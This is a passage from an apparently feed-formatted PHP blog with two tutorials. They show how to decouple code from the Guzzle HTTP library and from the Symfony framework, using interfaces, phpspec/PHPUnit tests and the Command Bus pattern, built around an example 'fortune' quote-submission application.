and its <a href="http://aws.amazon.com/sdkforphp">SDK for Amazon S3</a> but we had a problem:
it required Guzzle 3.
This means tracking down every usage of Guzzle in the project and adapting the
calls to the new version. It's a dawnting task, especially when the project doesn't
have strong enough tests.</p>

<p>Later on, when Amazon S3 SDK stabilized, it started to require Guzzle 5...</p>

<p><a href="http://knowyourmeme.com/memes/rage-guy-fffffuuuuuuuu"><img src="http://i0.kym-cdn.com/photos/images/newsfeed/000/000/578/1234931504682.jpg" alt="Screaming with anger" /></a></p>

<p>Does that mean that we shouldn't use any libraries? Should we just don't care and
continue to use them in the same way?</p>

<p>This article will explain how to avoid both extremes, by decoupling from the library.
It can be done by using the Inversion of Control principle: instead of relying
on the library we rely on interfaces and provide an implementation that uses the library.</p>

<h2 id="fortune%3A-our-example">Fortune: our example</h2>

<p>In <a href="/2015/09/30/decouple-from-frameworks.html">the previous article</a>,
we started to create an endpoint allowing us to subit new quotes for a
<a href="https://en.wikipedia.org/wiki/Fortune_%28Unix%29">fortune</a> application.</p>

<p>We're now going to create a SDK for it:</p>

<pre><code>mkdir fortune-sdk
cd fortune-sdk
</code></pre>

<p>To do so, we'll create the <code>composer.json</code> file:</p>

<pre><code>{
    "name": "acme/fortune-sdk",
    "description": "A PHP SDK for Fortune",
    "type": "library",
    "license": "MIT",
    "autoload": {
        "psr-4": {
            "Acme\\FortuneSdk\\": "src/Acme/FortuneSdk"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Acme\\FortuneSdk\\Fixtures\\": "fixtures",
            "Acme\\FortuneSdk\\Tests\\": "tests"
        }
    },
    "require": {
        "php": "&gt;=5.4",
    },
    "require-dev": {
        "phpspec/phpspec": "^2.3",
        "phpunit/phpunit": "^4.5",
        "symfony/console": "^2.3",
        "symfony/yaml": "^2.2"
    }
}
</code></pre>

<p>Then create a test script:</p>

<pre><code>#!/usr/bin/env sh

# bin/test.sh

composer --quiet --no-interaction update --optimize-autoloader &gt; /dev/null

vendor/bin/phpspec --no-interaction run -f dot &amp;&amp; vendor/bin/phpunit
</code></pre>

<p>And finally configure PHPUnit:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- phpunit.xml.dist --&gt;
&lt;!-- http://phpunit.de/manual/4.1/en/appendixes.configuration.html --&gt;
&lt;phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="http://schema.phpunit.de/4.1/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="Fortune SDK Test Suite"&gt;
            &lt;directory&gt;tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="request-handler">Request Handler</h2>

<p>Since Guzzle might completly change next year, we're going to abstract it behind
our own HTTP client:</p>

<pre><code class="php">&lt;?php

// src/Acme/FortuneSdk/Remote/RequestHandler.php

namespace Acme\FortuneSdk\Remote;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

interface RequestHandler
{
    /**
     * @param RequestInterface $request
     *
     * @return ResponseInterface
     *
     * @throws ClientException If client throws an unexpected exception (e.g. connection error, etc)
     */
    public function handle(RequestInterface $request);
}
</code></pre>

<p>We've decided to use the new PSR-7 standard:</p>

<pre><code>composer require psr/http-message:^1.0
</code></pre>

<p>We'll hide any errors behind our own exception:</p>

<pre><code class="php">&lt;?php

// src/Acme/FortuneSdk/Remote/ClientException.php

namespace Acme\FortuneSdk\Remote;

use RuntimeException;

class ClientException extends RuntimeException
{
}
</code></pre>

<p>Its first implementation will be with Guzzle 6:</p>

<pre><code class="php">&lt;?php

// src/Acme/FortuneSdk/Remote/RequestHandler/GuzzleSixRequestHandler.php

namespace Acme\FortuneSdk\Remote\RequestHandler;

use Acme\FortuneSdk\Remote\ClientException;
use Acme\FortuneSdk\Remote\RequestHandler;
use Exception;
use GuzzleHttp\Client;
use GuzzleHttp\Exception\BadResponseException;
use Psr\Http\Message\RequestInterface;

class GuzzleSixRequestHandler implements RequestHandler
{
    private $client;

    public function __construct(Client $client)
    {
        $this-&gt;client = $client;
    }

    public function handle(RequestInterface $request)
    {
        try {
            return $this-&gt;client-&gt;send($request);
        } catch (BadResponseException $e) {
            return $e-&gt;getResponse();
        } catch (Exception $e) {
            throw new ClientException('Client threw an unexpected exception', 0, $e);
        }
    }
}
</code></pre>

<p>And that's it. When Guzzle 7 will be released, we'll just have to create a new
implementation and throw away the old one instead of having to replace it everywhere
in our project. We can even change our mind and use a completly different HTTP client
(Buzz, etc).</p>

<p>Since we've started to softly depend on Guzzle, we need to install it with Composer:</p>

<pre><code>composer require guzzlehttp/guzzle:^6.0
</code></pre>

<h2 id="functional-test">Functional test</h2>

<p>We can now create a functional test describing our service:</p>

<pre><code class="php">&lt;?php

// tests/Quote/SubmitNewQuoteTest.php

namespace Acme\FortuneSdk\Tests\Quote;

use Acme\FortuneSdk\Quote\SubmitNewQuote\RemoteSubmitNewQuote;
use Acme\FortuneSdk\Fixtures\FixturesRequestHandler;
use PHPUnit_Framework_TestCase;

class SubmitNewQuoteTest extends PHPUnit_Framework_TestCase
{
    const URL = 'http://example.com';
    const QUOTE = 'Nobody expects the Spanish Inquisition!';

    private $submitNewQuote;

    protected function setUp()
    {
        $requestHandler = new FixturesRequestHandler();
        $this-&gt;submitNewQuote = new RemoteSubmitNewQuote($requestHandler, self::URL);
    }

    /**
     * @test
     */
    public function it_can_submit_a_new_quote()
    {
        $quote = $this-&gt;submitNewQuote-&gt;submit(self::QUOTE);

        self::assertSame(self::QUOTE, $quote['quote']);
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>sh ./bin/test.sh
</code></pre>

<p>It fails because <code>FixturesRequestHandler</code> doesn't exist. It's an implementation
of <code>RequestHandler</code> designed for our tests: even if the endpoint actually existed,
relying on network calls in our tests would only make them brittle
(because it's slow and unreliable).</p>

<p>Let's create it:</p>

<pre><code class="php">&lt;?php

// fixtures/FixturesRequestHandler.php

namespace Acme\FortuneSdk\Fixtures;

use Acme\FortuneSdk\Remote\RequestHandler;
use Psr\Http\Message\RequestInterface;
use Zend\Diactoros\Response;
use Zend\Diactoros\Stream;

class FixturesRequestHandler implements RequestHandler
{
    private $routes;

    public function __construct()
    {
        $this-&gt;routes = array(
            array(
                'controller' =&gt; new Controller\Quote\SubmitNewQuoteController(),
                'pattern' =&gt; '#/quotes#',
                'methods' =&gt; array('POST'),
            ),
        );
    }

    public function handle(RequestInterface $request)
    {
        $path = $request-&gt;getUri()-&gt;getPath();
        $method = $request-&gt;getMethod();
        foreach ($this-&gt;routes as $route) {
            if (1 === preg_match($route['pattern'], $path)) {
                if (false === in_array($method, $route['methods'], true)) {
                    $body = new Stream('php://temp', 'w');
                    $body-&gt;write(json_encode(array(
                        'message' =&gt; "Method \"$method\" for route \"$path\" not supported (supported methods are: ".implode(', ', $route['methods']).")",
                    )));

                    return new Response($body, 405, array('Content-Type' =&gt; 'application/json'));
                }
                try {
                    return $route['controller']-&gt;handle($request);
                } catch (FixturesException $e) {
                    $body = new Stream('php://temp', 'w');
                    $body-&gt;write($e-&gt;getMessage());

                    return new Response($body, $e-&gt;getCode(), array('Content-Type' =&gt; 'application/json'));
                }
            }
        }
        $body = new Stream('php://temp', 'w');
        $body-&gt;write(json_encode(array(
            'message' =&gt; "Route \"$path\" not found",
        )));

        return new Response($body, 404, array('Content-Type' =&gt; 'application/json'));
    }
}
</code></pre>

<p>We've decided to rely on Zend Diactoros to build the request, since it is the de
facto implementation of PSR-7:</p>

<pre><code>composer require zendframework/zend-diactoros:^1.0
</code></pre>

<p>We've open the possibility of managing many endpoints with this class. We now need
to define a controller for the quote submission one:</p>

<pre><code class="php">&lt;?php

// fixtures/Controller/Quote/SubmitNewQuoteController.php

namespace Acme\FortuneSdk\Fixtures\Controller\Quote;

use Acme\FortuneSdk\Remote\RequestHandler;
use Acme\FortuneSdk\Fixtures\FixturesException;
use Psr\Http\Message\RequestInterface;
use Zend\Diactoros\Response;
use Zend\Diactoros\Stream;

class SubmitNewQuoteController implements RequestHandler
{
    public function handle(RequestInterface $request)
    {
        $submitNewQuote = json_decode($request-&gt;getBody()-&gt;__toString(), true);
        if (false === isset($submitNewQuote['quote'])) {
            throw FixturesException::make('Missing required "quote" parameter', 422);
        }
        $quote = (string) $submitNewQuote['quote'];
        if ('' === $quote) {
            throw FixturesException::make('Invalid "quote" parameter: must not be empty', 422);
        }
        $body = new Stream('php://temp', 'w');
        $body-&gt;write(json_encode(array(
            'id' =&gt; '',
            'quote' =&gt; $quote
        )));

        return new Response($body, 201, array('Content-Type' =&gt; 'application/json'));
    }
}
</code></pre>

<p>Finally we need to write the exception class:</p>

<pre><code class="php">&lt;?php

// fixtures/FixturesException.php

namespace fixtures\Acme\FortuneSdk\Fixtures;

use DomainException;

class FixturesException extends DomainException
{
    /**
     * @param string $message
     * @param int    $statusCode
     *
     * @return FixturesException
     */
    public static function make($message, $statusCode)
    {
        return new self(json_encode(array('message' =&gt; $message)), $statusCode);
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>sh ./bin/test.sh
</code></pre>

<p>They now fail because <code>SubmitNewQuote</code> doesn't exist.</p>

<h2 id="submitnewquote">SubmitNewQuote</h2>

<p>First of all, we'll define our service as an interface:</p>

<pre><code class="php">&lt;?php

// src/Acme/FortuneSdk/Quote/SubmitNewQuote.php

namespace Acme\FortuneSdk\Quote;

interface SubmitNewQuote
{
    public function submit($quote);
}
</code></pre>

<p>This will allow developers using our SDK to create their own implementation for testing
or extension purpose.
It will also allow us to create Composite implementation: we can have a remote
implementation that does the actual work, wrapped in a lazy cache implementation
itself wrapped in a log implementation.</p>

<p>Here we'll just take care of the remote one, let's bootstrap its test:</p>

<pre><code>vendor/bin/phpspec describe 'Acme\FortuneSdk\Quote\SubmitNewQuote\RemoteSubmitNewQuote'
</code></pre>

<p>And now we can write the tests:</p>

<pre><code class="php">&lt;?php

// spec/Acme/FortuneSdk/Quote/SubmitNewQuote.php

namespace spec\Acme\FortuneSdk\Quote\SubmitNewQuote;

use Acme\FortuneSdk\Remote\RequestHandler;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

class RemoteSubmitNewQuoteSpec extends ObjectBehavior
{
    const URL = 'http://example.com';
    const QUOTE = 'Nobody expects the Spanish Inquisition!';

    function let(RequestHandler $requestHandler)
    {
        $this-&gt;beConstructedWith($requestHandler, self::URL);
    }

    function it_is_a_submit_new_quote()
    {
        $this-&gt;shouldImplement('Acme\FortuneSdk\Quote\SubmitNewQuote');
    }

    function it_calls_the_remote_endpoint(
        RequestHandler $requestHandler,
        ResponseInterface $response,
        StreamInterface $stream
    ) {
        $quote = array(
            'quote' =&gt; self::QUOTE,
        );

        $request = Argument::type('Psr\Http\Message\RequestInterface');
        $requestHandler-&gt;handle($request)-&gt;willReturn($response);
        $response-&gt;getBody()-&gt;willReturn($stream);
        $stream-&gt;__toString()-&gt;willReturn(json_encode($quote));

        $this-&gt;submit(self::QUOTE)-&gt;shouldBe($quote);
    }
}
</code></pre>

<p>In this test, we've used a wildcard to represent the request since the service is
going to create it. This is at the cost of not knowing how it is built.</p>

<p>If we absolutely want to have control over this, we need to delegate the request
construction to a factory, it then becomes possible to mock the request and check
how it is built:</p>

<pre><code class="php">&lt;?php

// spec/Acme/FortuneSdk/Quote/SubmitNewQuote.php

namespace spec\Acme\FortuneSdk\Quote\SubmitNewQuote;

use Acme\FortuneSdk\Remote\RequestFactory;
use Acme\FortuneSdk\Remote\RequestHandler;
use PhpSpec\ObjectBehavior;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

class RemoteSubmitNewQuoteSpec extends ObjectBehavior
{
    const URL = 'http://example.com';
    const QUOTE = 'Nobody expects the Spanish Inquisition!';

    function let(RequestFactory $requestFactory, RequestHandler $requestHandler)
    {
        $this-&gt;beConstructedWith($requestFactory, $requestHandler, self::URL);
    }

    function it_is_a_submit_new_quote()
    {
        $this-&gt;shouldImplement('Acme\FortuneSdk\Quote\SubmitNewQuote');
    }

    function it_calls_the_remote_endpoint(
        RequestFactory $requestFactory,
        RequestHandler $requestHandler,
        RequestInterface $request,
        ResponseInterface $response,
        StreamInterface $stream
    ) {
        $quote = array(
            'quote' =&gt; self::QUOTE,
        );

        $requestFactory-&gt;make(self::URL.'/v1/quotes', 'POST', json_encode($quote), array(
            'Content-Type' =&gt; 'application/json'
        ))-&gt;willReturn($request);
        $requestHandler-&gt;handle($request)-&gt;willReturn($response);
        $response-&gt;getBody()-&gt;willReturn($stream);
        $stream-&gt;__toString()-&gt;willReturn(json_encode($quote));

        $this-&gt;submit(self::QUOTE)-&gt;shouldBe($quote);
    }
}
</code></pre>

<p>The choice between the first solution and the second one really depends on our preferences
and on what we're trying to achieve. For the sake of this article, we'll stick
to the first one (to avoid having to create the factory class and change the functional test,
this article is already long enough!).</p>

<p>Let's run our tests to bootstrap the code:</p>

<pre><code>vendor/bin/phpspec run
</code></pre>

<p>Now we can write the actual code:</p>

<pre><code class="php">&lt;?php

// src/Acme/FortuneSdk/Quote/SubmitNewQuote/RemoteSubmitNewQuote.php

namespace Acme\FortuneSdk\Quote\SubmitNewQuote;

use Acme\FortuneSdk\Quote\SubmitNewQuote;
use Acme\FortuneSdk\Remote\RequestHandler;
use Zend\Diactoros\Request;
use Zend\Diactoros\Stream;

class RemoteSubmitNewQuote implements SubmitNewQuote
{
    private $requestHandler;
    private $url;

    public function __construct(RequestHandler $requestHandler, $url)
    {
        $this-&gt;requestHandler = $requestHandler;
        $this-&gt;url = $url;
    }

    public function submit($quote)
    {
        $body = new Stream('php://memory', 'w');
        $body-&gt;write(json_encode(array(
            'quote' =&gt; $quote,
        )));
        $request = new Request($this-&gt;url.'/v1/quotes', 'POST', $body, array(
            'Content-Type' =&gt; 'application/json'
        ));
        $quote = json_decode($this-&gt;requestHandler-&gt;handle($request)-&gt;getBody()-&gt;__toString(), true);

        return $quote;
    }
}
</code></pre>

<p>This should be sufficient to make our tests pass:</p>

<pre><code>sh ./bin/test.sh
</code></pre>

<p>All green!</p>

<p>We now have a SDK that provides a <code>SubmitNewQuote</code> service allowing us to submit new quotes.
Since we've mocked the network connection, we can't be sure that our SDK actually works.
Manual testing can be sufficient in this case: we can build a Command Line Interface (CLI)
client and check by ourselves if everything is fine, once in a while.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Inversion of Control is a principle that can come handy when dealing with third party library,
especially the ones that change often like Guzzle. It can be applied easily:
instead of making our high level classes rely on concrete low level ones, we just
need to introduce an interface.</p>

<p>Once again, all projects are different and this solution might not apply in every
case. If we're building an application that we expect to maintain for a couple of years
it can be worth it to protect ourselves from external changes.</p>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Decouple from Frameworks]]></title>
            <link href="/2015/09/30/decouple-from-frameworks.html"/>
            <updated>2015-09-30T00:00:00+01:00</updated>
            <id>/2015/09/30/decouple-from-frameworks.html</id>
            <content type="html"><![CDATA[<p>Frameworks solve infrastructure problems, for example how to create a HTTP or CLI application.
While necessary, those concerns don't add any value to your project: the business
need will not be fulfilled by creating an empty application.</p>

<p>As always, different responsibilities mean also different reasons to change: frameworks
have a history of Backward Compatibility (BC) breaks and they do so regardless of your
project.</p>

<p>Take for example <a href="http://symfony.com/">Symfony</a>: it only started to follow <a href="http://semver.org/">Semantic Versioning</a>
from version 2.3. The upgrade to version 3 has been made easier by allowing developers
to know what was deprecated, but the removal of those features still means a lot of
work in your application.
The arrival of the <a href="http://www.php-fig.org/psr/psr-7/">new standard PSR-7</a> brings
a lot of questions on the future of Symfony: for now it <a href="http://symfony.com/blog/psr-7-support-in-symfony-is-here">allows to choose</a>
between <code>symfony/http-foundation</code> and <code>psr/http-message</code>, but if Symfony doesn't
want to fall back behind (<a href="http://framework.zend.com/blog/announcing-the-zend-framework-3-roadmap.html">Zend 3 is fully based on PSR-7</a>)
it might have to introduce another big BC break (event listeners with the Request
and Response <a href="http://evertpot.com/psr-7-issues/">are not possible the way they are now with PSR-7</a>).</p>

<p>Migrating Symfony applications (from symfony1, from symfony 2.0, etc) is so hard
that it is a business on its own.</p>

<p>Does that mean that we shouldn't use any frameworks? Should we just don't care and
embrace fully frameworks?</p>

<p>This article will explain how to avoid both extremes, by decoupling from the framework.
It can be done by restricting the framework to its infrastructure responsibilities
(HTTP, CLI), by only using its entry points (Controller, Command) and by using
the Command Bus pattern.</p>

<h2 id="fortune%3A-our-example">Fortune: our example</h2>

<p>We're going to build part of a <a href="https://en.wikipedia.org/wiki/Fortune_%28Unix%29">fortune</a>
application for our example, more precisely we're going to build an endpoint allowing us to
submit quotes.</p>

<p>To do so, we'll bootstrap a symfony application using the <a href="https://github.com/gnugat/symfony-empty-edition">Empty Edition</a>:</p>

<pre><code>composer create-project gnugat/symfony-empty-edition fortune
cd fortune
</code></pre>

<p>We'll need to install our test frameworks:</p>

<pre><code>composer require --dev phpunit/phpunit
composer require --dev phpspec/phpspec
</code></pre>

<p>Then add them to our test script:</p>

<pre><code>#!/usr/bin/env sh

# bin/test.sh

echo ''
echo '// Building test environment'

rm -rf app/cache/test app/logs/*test.log
composer --quiet --no-interaction install --optimize-autoloader  &gt; /dev/null
php app/console --env=test --quiet cache:clear

echo ''
echo ' [OK] Test environment built'
echo ''

vendor/bin/phpspec --format=dot &amp;&amp; vendor/bin/phpunit
</code></pre>

<p>Finally we'll configure PHPUnit:</p>

<pre><code class="xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;

&lt;!-- phpunit.xml.dist --&gt;
&lt;!-- http://phpunit.de/manual/current/en/appendixes.configuration.html --&gt;
&lt;phpunit backupGlobals="false" colors="true" syntaxCheck="false" bootstrap="app/bootstrap.php"&gt;
    &lt;testsuites&gt;
        &lt;testsuite name="System Tests"&gt;
            &lt;directory&gt;tests&lt;/directory&gt;
        &lt;/testsuite&gt;
    &lt;/testsuites&gt;
&lt;/phpunit&gt;
</code></pre>

<h2 id="request-listener">Request listener</h2>

<p>Our endpoint will receive JSON encoded content. PHP does not populate <code>$_POST</code> with
this data, causing an empty <code>$request-&gt;request</code>. We can create an event listener
to fix this issue:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/EventListener/JsonRequestListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

class JsonRequestListener
{
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $hasBeenSubmited = in_array($request-&gt;getMethod(), array('PATCH', 'POST', 'PUT'), true);
        $isJson = (1 === preg_match('#application/json#', $request-&gt;headers-&gt;get('Content-Type')));
        if (!$hasBeenSubmited || !$isJson) {
            return;
        }
        $data = json_decode($request-&gt;getContent(), true);
        if (JSON_ERROR_NONE !== json_last_error()) {
            $event-&gt;setResponse(new Response('{"error":"Invalid or malformed JSON"}', 400, array('Content-Type' =&gt; 'application/json')));
        }
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>This logic is infrastructure related, so it makes sense to keep it in <code>AppBundle</code>.</p>

<p>To enable it, configure it in the Dependency Injection Container:</p>

<pre><code># app/config/services/event_listener.yml

services:
    app.json_request_listener:
        class: AppBundle\EventListener\JsonRequestListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }
</code></pre>

<p>We also need to make sure files in <code>app/config/services</code> are imported:</p>

<pre><code class="php">&lt;?php
// app/config/importer.php

use Symfony\Component\Finder\Finder;

$finder = new Finder();
$files = $finder-&gt;files()-&gt;name('*.yml')-&gt;in(__DIR__.'/services');
foreach ($files as $file) {
    $loader-&gt;import($file-&gt;getRealpath());
}
</code></pre>

<h2 id="controller">Controller</h2>

<p>Our first step will be to describe how the endpoint should work, with a test:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Controller/QuoteControllerTest.php

namespace tests\AppBundle\Controller;

use AppKernel;
use PHPUnit_Framework_TestCase;
use Symfony\Component\HttpFoundation\Request;

class QuoteControllerTest extends PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $this-&gt;app = new AppKernel('test', false);
        $this-&gt;app-&gt;boot();
    }

    /**
     * @test
     */
    public function it_submits_a_new_quote()
    {
        $headers = array('CONTENT_TYPE' =&gt; 'application/json');
        $request = Request::create('/v1/quotes', 'POST', array(), array(), array(), $headers, json_encode(array(
            'quote' =&gt; 'Nobody expects the spanish inquisition',
        )));

        $response = $this-&gt;app-&gt;handle($request);

        self::assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Testing only the status code is called "Smoke Testing" and is a very
  efficient way to check if the application is broken.
  Testing the content would be tedious and would make our test fragile as it might change often.</p>
</blockquote>

<p>Let's run it:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>The tests fail because the controller doesn't exist. Let's fix that:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/QuoteController.php

namespace AppBundle\Controller;

use Acme\Fortune\Quote\SubmitNewQuote;
use Acme\Fortune\Quote\SubmitNewQuoteHandler;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class QuoteController
{
    private $submitNewQuoteHandler;

    public function __construct(SubmitNewQuoteHandler $submitNewQuoteHandler)
    {
        $this-&gt;submitNewQuoteHandler = $submitNewQuoteHandler;
    }

    public function submitNewAction(Request $request)
    {
        $sumbitNewQuote = new SubmitNewQuote(
            $request-&gt;request-&gt;get('quote')
        );
        $newQuote = $this-&gt;submitNewQuoteHandler-&gt;handle($sumbitNewQuote);

        return new Response(json_encode($newQuote), 201, array('Content-Type' =&gt; 'application/json'));
    }
}
</code></pre>

<p>Now we need to configure the controller as a service:</p>

<pre><code># app/config/services/controller.yml

services:
    app.quote_controller:
        class: AppBundle\Controller\QuoteController
        arguments:
            - "@app.submit_new_quote_handler"
</code></pre>

<p>Then we need to configure the route:</p>

<pre><code># app/config/routings/quote.yml

submit_new_quote:
    path: /v1/quotes
    defaults:
        _controller: app.quote_controller:submitNew
    methods:
        - POST
</code></pre>

<p>This file needs to be imported:</p>

<pre><code># app/config/routing.yml

quote:
    resource: routings/quote.yml
</code></pre>

<p>Finally we can run the test again:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>It now fails for a different reason: <code>SubmitNewQuote</code> and its handler class don't exist.</p>

<h2 id="command-from-commandbus">Command (from CommandBus)</h2>

<p><code>SubmitNewQuote</code> is a Data Transfer Object (DTO): its responsibility is to wrap
input parameters in a well named class (in this case a class that describes the action intended).
It's also the best place to do some basic validation on the input parameters.</p>

<blockquote>
  <p><strong>Note</strong>: In the Command Bus pattern, <code>SubmitNewQuote</code> would be a Command (different from the CLI Command).</p>
</blockquote>

<p>We'll write a test for this, but first we'll bootstrap the test class:</p>

<pre><code>vendor/bin/phpspec describe 'Acme\Fortune\Quote\SubmitNewQuote'
</code></pre>

<p>Now we can decribe the different validation rules:</p>

<pre><code class="php">&lt;?php
// spec/Acme/Fortune/Quote/SubmitNewQuoteSpec.php

namespace spec\Acme\Fortune\Quote;

use PhpSpec\ObjectBehavior;

class SubmitNewQuoteSpec extends ObjectBehavior
{
    const QUOTE = 'Nobody expects the spanish inquisition';

    function it_fails_if_required_quote_parameter_is_missing()
    {
        $this-&gt;beConstructedWith(null);

        $this-&gt;shouldThrow('Acme\Fortune\Exception\ValidationFailedException')-&gt;duringInstantiation();
    }

    function it_fails_if_quote_parameter_is_empty()
    {
        $this-&gt;beConstructedWith('');

        $this-&gt;shouldThrow('Acme\Fortune\Exception\ValidationFailedException')-&gt;duringInstantiation();
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Since this class has nothing to do with Symfony, we don't put it in <code>AppBundle</code>.
  By keeping it in its own namespace, we protect it from framework directory tree changes,
  for example before <code>AppBundle</code> the norm was <code>Acme\FortuneBundle</code>. We also allow ourselves
  to move it to another framework (e.g. Laravel, Zend, etc).</p>
</blockquote>

<p>Let's run the tests:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>It fails because the exception doesn't exist yet:</p>

<pre><code class="php">&lt;?php
// src/Acme/Fortune/Exception/ValidationFailedException.php

namespace Acme\Fortune\Exception;

class ValidationFailedException extends FortuneException
{
}
</code></pre>

<p>We're making it a sub type of <code>FortuneException</code>: that way we can catch all exceptions
related to our code (all other exceptions can be considered as Internal Server Errors).</p>

<pre><code class="php">&lt;?php
// src/Acme/Fortune/Exception/FortuneException.php

namespace Acme\Fortune\Exception;

use DomainException;

class FortuneException extends DomainException
{
}
</code></pre>

<p>Now we need to create the Command:</p>

<pre><code class="php">&lt;?php
// src/Acme/Fortune/Quote/SubmitNewQuote.php

namespace Acme\Fortune\Quote;

use Acme\Fortune\Exception\ValidationFailedException;

class SubmitNewQuote
{
    public function __construct($quote)
    {
        if (null === $quote) {
            throw new ValidationFailedException('Missing required "quote" parameter');
        }
        if ('' === $quote) {
            throw new ValidationFailedException('Invalid "quote" parameter: must not be empty');
        }
        $this-&gt;quote = (string) $quote;
    }
}
</code></pre>

<p>Running the tests again:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>Everything seems fine.</p>

<h2 id="exception-listener">Exception listener</h2>

<p>Instead of catching exceptions in our controllers we can create an event listener:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/EventListener/FortuneExceptionListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

class FortuneExceptionListener
{
    public function onKernelException(GetResponseForExceptionEvent $event)
    {
        $exception = $event-&gt;getException();
        if (!$exception instanceof FortuneException) {
            return;
        }
        $content = json_encode(array('error' =&gt; $exception-&gt;getMessage()));
        $statusCode = Response::HTTP_UNPROCESSABLE_ENTITY;
        $event-&gt;setResponse(new Response($content, $statusCode, array('Content-Type' =&gt; 'application/json')));
    }
}
</code></pre>

<p>This lowers the risk of forgetting to catch an exception and it also keeps our controller slim.</p>

<p>Let's enable it in the DIC:</p>

<pre><code># app/config/services/event_listener.yml

services:
    app.fortune_exception_listener:
        class: AppBundle\EventListener\FortuneExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }

    app.json_request_listener:
        class: AppBundle\EventListener\JsonRequestListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }
</code></pre>

<h2 id="command-handler">Command Handler</h2>

<p><code>SubmitNewQuoteHandler</code>'s responsibility is to validate <code>SubmitNewQuote</code> data against
business rules (e.g. no quote duplicates, author must exist, etc) and to call the
appropriate services to process it.
Reading its code feels like reading the details of a use case:</p>

<blockquote>
  <p>To handle the submission of a new quote,
  we need to generate a unique identifier
  and then we need to save the new quote.</p>
</blockquote>

<p>Let's bootstrap its test:</p>

<pre><code>vendor/bin/phpspec describe 'Acme\Fortune\Quote\SubmitNewQuoteHandler'
</code></pre>

<p>Then edit the test:</p>

<pre><code class="php">&lt;?php
// spec/Acme/Fortune/Quote/SubmitNewQuoteHandlerSpec.php

namespace spec\Acme\Fortune\Quote;

use Acme\Fortune\Quote\SubmitNewQuote;
use Acme\Fortune\Quote\Service\SaveNewQuote;
use Acme\Fortune\Quote\Service\UniqueIdentifierGenerator;
use PhpSpec\ObjectBehavior;

class SubmitNewQuoteHandlerSpec extends ObjectBehavior
{
    const ID = '921410e8-eb98-4f99-ba98-055d46980511';
    const QUOTE = 'Nobody expects the spanish inquisition!';

    function let(SaveNewQuote $saveNewQuote, UniqueIdentifierGenerator $uniqueIdentifierGenerator)
    {
        $this-&gt;beConstructedWith($saveNewQuote, $uniqueIdentifierGenerator);
    }

    function it_saves_new_quote(SaveNewQuote $saveNewQuote, UniqueIdentifierGenerator $uniqueIdentifierGenerator)
    {
        $submitNewQuote = new SubmitNewQuote(self::QUOTE);
        $quote = array(
            'id' =&gt; self::ID,
            'quote' =&gt; self::QUOTE,
        );

        $uniqueIdentifierGenerator-&gt;generate()-&gt;willReturn(self::ID);
        $saveNewQuote-&gt;save($quote)-&gt;shouldBeCalled();

        $this-&gt;handle($submitNewQuote)-&gt;shouldBe($quote);
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>./bin/test.sh
</code></pre>

<p>After generating interfaces for <code>SaveNewQuote</code> and <code>UniqueIdentifierGenerator</code>
and after bootstrapping the code for <code>SubmitNewQuoteHandler</code>, the test will fail
because we need to complete it:</p>

<pre><code class="php">&lt;?php
// src/Acme/Fortune/Quote/SubmitNewQuoteHandler.php

namespace Acme\Fortune\Quote;

use Acme\Fortune\Quote\Service\SaveNewQuote;
use Acme\Fortune\Quote\Service\UniqueIdentifierGenerator;

class SubmitNewQuoteHandler
{
    private $saveNewQuote;
    private $uniqueIdentifierGenerator;

    public function __construct(SaveNewQuote $saveNewQuote, UniqueIdentifierGenerator $uniqueIdentifierGenerator)
    {
        $this-&gt;saveNewQuote = $saveNewQuote;
        $this-&gt;uniqueIdentifierGenerator = $uniqueIdentifierGenerator;
    }

    public function handle(SubmitNewQuote $sumbitNewQuote)
    {
        $quote = array(
            'id' =&gt; $this-&gt;uniqueIdentifierGenerator-&gt;generate(),
            'quote' =&gt; $sumbitNewQuote-&gt;quote,
        );
        $this-&gt;saveNewQuote-&gt;save($quote);

        return $quote;
    }
}
</code></pre>

